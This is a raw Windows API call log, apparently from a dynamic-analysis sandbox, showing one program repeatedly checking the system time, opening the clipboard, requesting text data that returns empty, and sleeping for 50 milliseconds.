[0252.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf12ffd47, dwHighDateTime=0x1d96e12))
[0252.039] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.039] GetClipboardData (uFormat=0x1) returned 0x0
[0252.039] CloseClipboard () returned 1
[0252.039] Sleep (dwMilliseconds=0x32)
[0252.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1325f64, dwHighDateTime=0x1d96e12))
[0252.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.054] GetClipboardData (uFormat=0x1) returned 0x0
[0252.054] CloseClipboard () returned 1
[0252.054] Sleep (dwMilliseconds=0x32)
[0252.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf134c243, dwHighDateTime=0x1d96e12))
[0252.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.071] GetClipboardData (uFormat=0x1) returned 0x0
[0252.071] CloseClipboard () returned 1
[0252.071] Sleep (dwMilliseconds=0x32)
[0252.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf13724a4, dwHighDateTime=0x1d96e12))
[0252.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.086] GetClipboardData (uFormat=0x1) returned 0x0
[0252.086] CloseClipboard () returned 1
[0252.086] Sleep (dwMilliseconds=0x32)
[0252.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf139865b, dwHighDateTime=0x1d96e12))
[0252.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.102] GetClipboardData (uFormat=0x1) returned 0x0
[0252.102] CloseClipboard () returned 1
[0252.102] Sleep (dwMilliseconds=0x32)
[0252.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf13be913, dwHighDateTime=0x1d96e12))
[0252.117] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.117] GetClipboardData (uFormat=0x1) returned 0x0
[0252.117] CloseClipboard () returned 1
[0252.117] Sleep (dwMilliseconds=0x32)
[0252.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf13e4b2f, dwHighDateTime=0x1d96e12))
[0252.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.133] GetClipboardData (uFormat=0x1) returned 0x0
[0252.133] CloseClipboard () returned 1
[0252.133] Sleep (dwMilliseconds=0x32)
[0252.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf140ae0b, dwHighDateTime=0x1d96e12))
[0252.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.148] GetClipboardData (uFormat=0x1) returned 0x0
[0252.148] CloseClipboard () returned 1
[0252.148] Sleep (dwMilliseconds=0x32)
[0252.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf143102a, dwHighDateTime=0x1d96e12))
[0252.164] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.164] GetClipboardData (uFormat=0x1) returned 0x0
[0252.164] CloseClipboard () returned 1
[0252.164] Sleep (dwMilliseconds=0x32)
[0252.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1457246, dwHighDateTime=0x1d96e12))
[0252.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.179] GetClipboardData (uFormat=0x1) returned 0x0
[0252.179] CloseClipboard () returned 1
[0252.179] Sleep (dwMilliseconds=0x32)
[0252.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf147d517, dwHighDateTime=0x1d96e12))
[0252.195] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.195] GetClipboardData (uFormat=0x1) returned 0x0
[0252.195] CloseClipboard () returned 1
[0252.195] Sleep (dwMilliseconds=0x32)
[0252.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf14a3739, dwHighDateTime=0x1d96e12))
[0252.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.211] GetClipboardData (uFormat=0x1) returned 0x0
[0252.211] CloseClipboard () returned 1
[0252.211] Sleep (dwMilliseconds=0x32)
[0252.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf14c9946, dwHighDateTime=0x1d96e12))
[0252.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.226] GetClipboardData (uFormat=0x1) returned 0x0
[0252.226] CloseClipboard () returned 1
[0252.227] Sleep (dwMilliseconds=0x32)
[0252.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf14efc2d, dwHighDateTime=0x1d96e12))
[0252.242] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.242] GetClipboardData (uFormat=0x1) returned 0x0
[0252.242] CloseClipboard () returned 1
[0252.242] Sleep (dwMilliseconds=0x32)
[0252.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1515e26, dwHighDateTime=0x1d96e12))
[0252.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.258] GetClipboardData (uFormat=0x1) returned 0x0
[0252.258] CloseClipboard () returned 1
[0252.258] Sleep (dwMilliseconds=0x32)
[0252.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf153c0ed, dwHighDateTime=0x1d96e12))
[0252.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.273] GetClipboardData (uFormat=0x1) returned 0x0
[0252.273] CloseClipboard () returned 1
[0252.273] Sleep (dwMilliseconds=0x32)
[0252.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf15622e9, dwHighDateTime=0x1d96e12))
[0252.289] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.289] GetClipboardData (uFormat=0x1) returned 0x0
[0252.289] CloseClipboard () returned 1
[0252.289] Sleep (dwMilliseconds=0x32)
[0252.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1588590, dwHighDateTime=0x1d96e12))
[0252.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.304] GetClipboardData (uFormat=0x1) returned 0x0
[0252.304] CloseClipboard () returned 1
[0252.305] Sleep (dwMilliseconds=0x32)
[0252.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf15ae7b5, dwHighDateTime=0x1d96e12))
[0252.320] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.320] GetClipboardData (uFormat=0x1) returned 0x0
[0252.320] CloseClipboard () returned 1
[0252.320] Sleep (dwMilliseconds=0x32)
[0252.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf15d4a48, dwHighDateTime=0x1d96e12))
[0252.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.336] GetClipboardData (uFormat=0x1) returned 0x0
[0252.336] CloseClipboard () returned 1
[0252.336] Sleep (dwMilliseconds=0x32)
[0252.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf15fac7b, dwHighDateTime=0x1d96e12))
[0252.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.351] GetClipboardData (uFormat=0x1) returned 0x0
[0252.351] CloseClipboard () returned 1
[0252.351] Sleep (dwMilliseconds=0x32)
[0252.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1620f02, dwHighDateTime=0x1d96e12))
[0252.367] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.367] GetClipboardData (uFormat=0x1) returned 0x0
[0252.367] CloseClipboard () returned 1
[0252.367] Sleep (dwMilliseconds=0x32)
[0252.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1647129, dwHighDateTime=0x1d96e12))
[0252.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.383] GetClipboardData (uFormat=0x1) returned 0x0
[0252.383] CloseClipboard () returned 1
[0252.383] Sleep (dwMilliseconds=0x32)
[0252.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf177838f, dwHighDateTime=0x1d96e12))
[0252.508] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.508] GetClipboardData (uFormat=0x1) returned 0x0
[0252.508] CloseClipboard () returned 1
[0252.508] Sleep (dwMilliseconds=0x32)
[0252.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf179e60d, dwHighDateTime=0x1d96e12))
[0252.533] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.534] GetClipboardData (uFormat=0x1) returned 0x0
[0252.534] CloseClipboard () returned 1
[0252.534] Sleep (dwMilliseconds=0x32)
[0252.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf17c49af, dwHighDateTime=0x1d96e12))
[0252.539] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.539] GetClipboardData (uFormat=0x1) returned 0x0
[0252.539] CloseClipboard () returned 1
[0252.539] Sleep (dwMilliseconds=0x32)
[0252.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf17eaa9d, dwHighDateTime=0x1d96e12))
[0252.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.554] GetClipboardData (uFormat=0x1) returned 0x0
[0252.555] CloseClipboard () returned 1
[0252.555] Sleep (dwMilliseconds=0x32)
[0252.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1810cf2, dwHighDateTime=0x1d96e12))
[0252.570] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.570] GetClipboardData (uFormat=0x1) returned 0x0
[0252.570] CloseClipboard () returned 1
[0252.570] Sleep (dwMilliseconds=0x32)
[0252.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1836f57, dwHighDateTime=0x1d96e12))
[0252.587] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.587] GetClipboardData (uFormat=0x1) returned 0x0
[0252.587] CloseClipboard () returned 1
[0252.587] Sleep (dwMilliseconds=0x32)
[0252.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf185d1a9, dwHighDateTime=0x1d96e12))
[0252.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.601] GetClipboardData (uFormat=0x1) returned 0x0
[0252.601] CloseClipboard () returned 1
[0252.601] Sleep (dwMilliseconds=0x32)
[0252.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1883402, dwHighDateTime=0x1d96e12))
[0252.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.619] GetClipboardData (uFormat=0x1) returned 0x0
[0252.619] CloseClipboard () returned 1
[0252.619] Sleep (dwMilliseconds=0x32)
[0252.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf18a966f, dwHighDateTime=0x1d96e12))
[0252.633] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.633] GetClipboardData (uFormat=0x1) returned 0x0
[0252.633] CloseClipboard () returned 1
[0252.633] Sleep (dwMilliseconds=0x32)
[0252.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf18cf8b8, dwHighDateTime=0x1d96e12))
[0252.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.648] GetClipboardData (uFormat=0x1) returned 0x0
[0252.648] CloseClipboard () returned 1
[0252.648] Sleep (dwMilliseconds=0x32)
[0252.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf18f5b12, dwHighDateTime=0x1d96e12))
[0252.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.671] GetClipboardData (uFormat=0x1) returned 0x0
[0252.671] CloseClipboard () returned 1
[0252.671] Sleep (dwMilliseconds=0x32)
[0252.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf191bd69, dwHighDateTime=0x1d96e12))
[0252.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.679] GetClipboardData (uFormat=0x1) returned 0x0
[0252.679] CloseClipboard () returned 1
[0252.680] Sleep (dwMilliseconds=0x32)
[0252.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1941fc1, dwHighDateTime=0x1d96e12))
[0252.696] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.696] GetClipboardData (uFormat=0x1) returned 0x0
[0252.696] CloseClipboard () returned 1
[0252.697] Sleep (dwMilliseconds=0x32)
[0252.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf196822b, dwHighDateTime=0x1d96e12))
[0252.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.711] GetClipboardData (uFormat=0x1) returned 0x0
[0252.711] CloseClipboard () returned 1
[0252.711] Sleep (dwMilliseconds=0x32)
[0252.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf198e481, dwHighDateTime=0x1d96e12))
[0252.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.726] GetClipboardData (uFormat=0x1) returned 0x0
[0252.726] CloseClipboard () returned 1
[0252.726] Sleep (dwMilliseconds=0x32)
[0252.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf19b46d8, dwHighDateTime=0x1d96e12))
[0252.744] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.744] GetClipboardData (uFormat=0x1) returned 0x0
[0252.744] CloseClipboard () returned 1
[0252.744] Sleep (dwMilliseconds=0x32)
[0252.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf19da92c, dwHighDateTime=0x1d96e12))
[0252.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.757] GetClipboardData (uFormat=0x1) returned 0x0
[0252.758] CloseClipboard () returned 1
[0252.758] Sleep (dwMilliseconds=0x32)
[0252.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1a00b89, dwHighDateTime=0x1d96e12))
[0252.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.773] GetClipboardData (uFormat=0x1) returned 0x0
[0252.773] CloseClipboard () returned 1
[0252.773] Sleep (dwMilliseconds=0x32)
[0252.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1a26ddd, dwHighDateTime=0x1d96e12))
[0252.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.790] GetClipboardData (uFormat=0x1) returned 0x0
[0252.790] CloseClipboard () returned 1
[0252.790] Sleep (dwMilliseconds=0x32)
[0252.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1a4d03a, dwHighDateTime=0x1d96e12))
[0252.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.805] GetClipboardData (uFormat=0x1) returned 0x0
[0252.805] CloseClipboard () returned 1
[0252.805] Sleep (dwMilliseconds=0x32)
[0252.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1a7329f, dwHighDateTime=0x1d96e12))
[0252.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.821] GetClipboardData (uFormat=0x1) returned 0x0
[0252.822] CloseClipboard () returned 1
[0252.822] Sleep (dwMilliseconds=0x32)
[0252.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1a994f7, dwHighDateTime=0x1d96e12))
[0252.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.836] GetClipboardData (uFormat=0x1) returned 0x0
[0252.836] CloseClipboard () returned 1
[0252.836] Sleep (dwMilliseconds=0x32)
[0252.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1abf747, dwHighDateTime=0x1d96e12))
[0252.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.852] GetClipboardData (uFormat=0x1) returned 0x0
[0252.852] CloseClipboard () returned 1
[0252.852] Sleep (dwMilliseconds=0x32)
[0252.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1ae599f, dwHighDateTime=0x1d96e12))
[0252.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.868] GetClipboardData (uFormat=0x1) returned 0x0
[0252.868] CloseClipboard () returned 1
[0252.868] Sleep (dwMilliseconds=0x32)
[0252.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1b0bbf8, dwHighDateTime=0x1d96e12))
[0252.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.883] GetClipboardData (uFormat=0x1) returned 0x0
[0252.883] CloseClipboard () returned 1
[0252.883] Sleep (dwMilliseconds=0x32)
[0252.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1b31e5b, dwHighDateTime=0x1d96e12))
[0252.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.898] GetClipboardData (uFormat=0x1) returned 0x0
[0252.898] CloseClipboard () returned 1
[0252.898] Sleep (dwMilliseconds=0x32)
[0252.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1b580b2, dwHighDateTime=0x1d96e12))
[0252.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.915] GetClipboardData (uFormat=0x1) returned 0x0
[0252.915] CloseClipboard () returned 1
[0252.915] Sleep (dwMilliseconds=0x32)
[0252.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1b7e311, dwHighDateTime=0x1d96e12))
[0252.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.929] GetClipboardData (uFormat=0x1) returned 0x0
[0252.929] CloseClipboard () returned 1
[0252.929] Sleep (dwMilliseconds=0x32)
[0252.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1ba4560, dwHighDateTime=0x1d96e12))
[0252.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.946] GetClipboardData (uFormat=0x1) returned 0x0
[0252.946] CloseClipboard () returned 1
[0252.947] Sleep (dwMilliseconds=0x32)
[0252.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1bca7c7, dwHighDateTime=0x1d96e12))
[0252.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.961] GetClipboardData (uFormat=0x1) returned 0x0
[0252.961] CloseClipboard () returned 1
[0252.961] Sleep (dwMilliseconds=0x32)
[0252.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1bf0a19, dwHighDateTime=0x1d96e12))
[0252.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.976] GetClipboardData (uFormat=0x1) returned 0x0
[0252.976] CloseClipboard () returned 1
[0252.976] Sleep (dwMilliseconds=0x32)
[0252.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1c16c6e, dwHighDateTime=0x1d96e12))
[0252.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.993] GetClipboardData (uFormat=0x1) returned 0x0
[0252.993] CloseClipboard () returned 1
[0252.993] Sleep (dwMilliseconds=0x32)
[0253.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1c3cec8, dwHighDateTime=0x1d96e12))
[0253.008] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.008] GetClipboardData (uFormat=0x1) returned 0x0
[0253.008] CloseClipboard () returned 1
[0253.008] Sleep (dwMilliseconds=0x32)
[0253.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1c63134, dwHighDateTime=0x1d96e12))
[0253.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.023] GetClipboardData (uFormat=0x1) returned 0x0
[0253.023] CloseClipboard () returned 1
[0253.023] Sleep (dwMilliseconds=0x32)
[0253.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1c8937f, dwHighDateTime=0x1d96e12))
[0253.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.040] GetClipboardData (uFormat=0x1) returned 0x0
[0253.040] CloseClipboard () returned 1
[0253.040] Sleep (dwMilliseconds=0x32)
[0253.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1caf5d6, dwHighDateTime=0x1d96e12))
[0253.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.054] GetClipboardData (uFormat=0x1) returned 0x0
[0253.054] CloseClipboard () returned 1
[0253.055] Sleep (dwMilliseconds=0x32)
[0253.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1cd582d, dwHighDateTime=0x1d96e12))
[0253.072] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.072] GetClipboardData (uFormat=0x1) returned 0x0
[0253.072] CloseClipboard () returned 1
[0253.072] Sleep (dwMilliseconds=0x32)
[0253.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1cfba95, dwHighDateTime=0x1d96e12))
[0253.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.086] GetClipboardData (uFormat=0x1) returned 0x0
[0253.086] CloseClipboard () returned 1
[0253.086] Sleep (dwMilliseconds=0x32)
[0253.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1d21ce2, dwHighDateTime=0x1d96e12))
[0253.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.101] GetClipboardData (uFormat=0x1) returned 0x0
[0253.101] CloseClipboard () returned 1
[0253.101] Sleep (dwMilliseconds=0x32)
[0253.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1d47f3d, dwHighDateTime=0x1d96e12))
[0253.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.118] GetClipboardData (uFormat=0x1) returned 0x0
[0253.118] CloseClipboard () returned 1
[0253.118] Sleep (dwMilliseconds=0x32)
[0253.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1d6e198, dwHighDateTime=0x1d96e12))
[0253.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.133] GetClipboardData (uFormat=0x1) returned 0x0
[0253.133] CloseClipboard () returned 1
[0253.133] Sleep (dwMilliseconds=0x32)
[0253.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1d943fa, dwHighDateTime=0x1d96e12))
[0253.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.148] GetClipboardData (uFormat=0x1) returned 0x0
[0253.148] CloseClipboard () returned 1
[0253.148] Sleep (dwMilliseconds=0x32)
[0253.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1dba654, dwHighDateTime=0x1d96e12))
[0253.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.165] GetClipboardData (uFormat=0x1) returned 0x0
[0253.165] CloseClipboard () returned 1
[0253.165] Sleep (dwMilliseconds=0x32)
[0253.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1de08ac, dwHighDateTime=0x1d96e12))
[0253.180] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.180] GetClipboardData (uFormat=0x1) returned 0x0
[0253.180] CloseClipboard () returned 1
[0253.180] Sleep (dwMilliseconds=0x32)
[0253.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1e06b00, dwHighDateTime=0x1d96e12))
[0253.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.196] GetClipboardData (uFormat=0x1) returned 0x0
[0253.196] CloseClipboard () returned 1
[0253.196] Sleep (dwMilliseconds=0x32)
[0253.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1e2cd68, dwHighDateTime=0x1d96e12))
[0253.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.211] GetClipboardData (uFormat=0x1) returned 0x0
[0253.211] CloseClipboard () returned 1
[0253.211] Sleep (dwMilliseconds=0x32)
[0253.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1e52fbb, dwHighDateTime=0x1d96e12))
[0253.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0253.226] GetClipboardData (uFormat=0x1) returned 0x0
[0253.226] CloseClipboard () returned 1
[0253.226] Sleep (dwMilliseconds=0x32)
[0253.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1e7920f, dwHighDateTime=0x1d96e12))
